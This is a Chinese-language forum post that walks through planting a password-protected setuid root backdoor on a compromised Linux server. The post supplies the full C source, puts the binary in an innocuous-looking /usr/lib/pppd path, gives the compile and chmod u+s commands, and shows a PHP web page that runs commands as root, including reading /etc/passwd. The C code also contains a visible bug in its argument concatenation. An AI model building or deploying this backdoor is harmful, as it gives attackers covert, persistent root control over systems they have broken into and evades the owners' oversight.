linux下一种脚本越权的方法

以前一直有一种想法：Linux提权后，各种后门不隐蔽，各种防火墙很BT，能不能让PHP继承suid权限，当作后门。
经过测试，这个想法是可行的。

首先编写一段C，名为：run.c，并赋予suid权限。

• #include <stdio.h>
• #include <stdlib.h>
• #include <sys/types.h>
• #include <unistd.h>
• #include <string.h>
• int main(int argc, char*argv[])
• {
•         char*pass="imspider";
•         if(argc < 3)
•         {
•                 printf("error\n");
•                 return 0;
•         }
•         uid_t uid ,euid;
•         uid = getuid();
•         euid = geteuid();
•         if(setreuid(euid, uid))
•         perror("setreuid");
•         int s;
•         if(strcmp(argv[2],pass)==0)
•         {
•                 for(s=3;s<argc;s++)
•                 {
•                         strcat(argv[1]," ");
•                         strcat(argv[1],argv);
•                 }
•                 system(argv[1]);
•         }
•         else
•         {
•                 printf("\n------Password error------\n");
•         }
•         return 0;
• }
  

复制代码
程序接收三个以上参数，特定第三个参数为密码（即argv[2]），char*pass="imspider"; 密码为imspider。

密码正确才能执行系统命令。


这里我把run.c编译到/usr/lib/pppd路径下：

• root@spider:/usr/lib/pppd# gcc -Wall -o run run.c
• root@spider:/usr/lib/pppd# chmod u+s run
  

复制代码
下面PHP代码是重点：

这里利用PHP自带的system函数，在禁用system的情况下，可以利用PHP扩展，我以前提到过，这里不解释。

比如我们想查看/etc/passwd，前面提到第三个参数是密码。

• <?php
• echo '<pre>';
• system('/usr/lib/pppd/run cat imspider /etc/passwd');
• echo '</pre>';
• ?>
  

复制代码
system('/usr/lib/pppd/run whoami imspider');//调用run查看当前用户，输出root。

system('/usr/lib/pppd/run whoami fuck');//密码不正确，输出Password error。

system('whoami');//不调用run查看当前用户，输出www。


我比较无聊，做了个命令交互页面。

7 小时前 上传
下载附件 (13.87 KB)


7 小时前 上传
下载附件 (26.68 KB)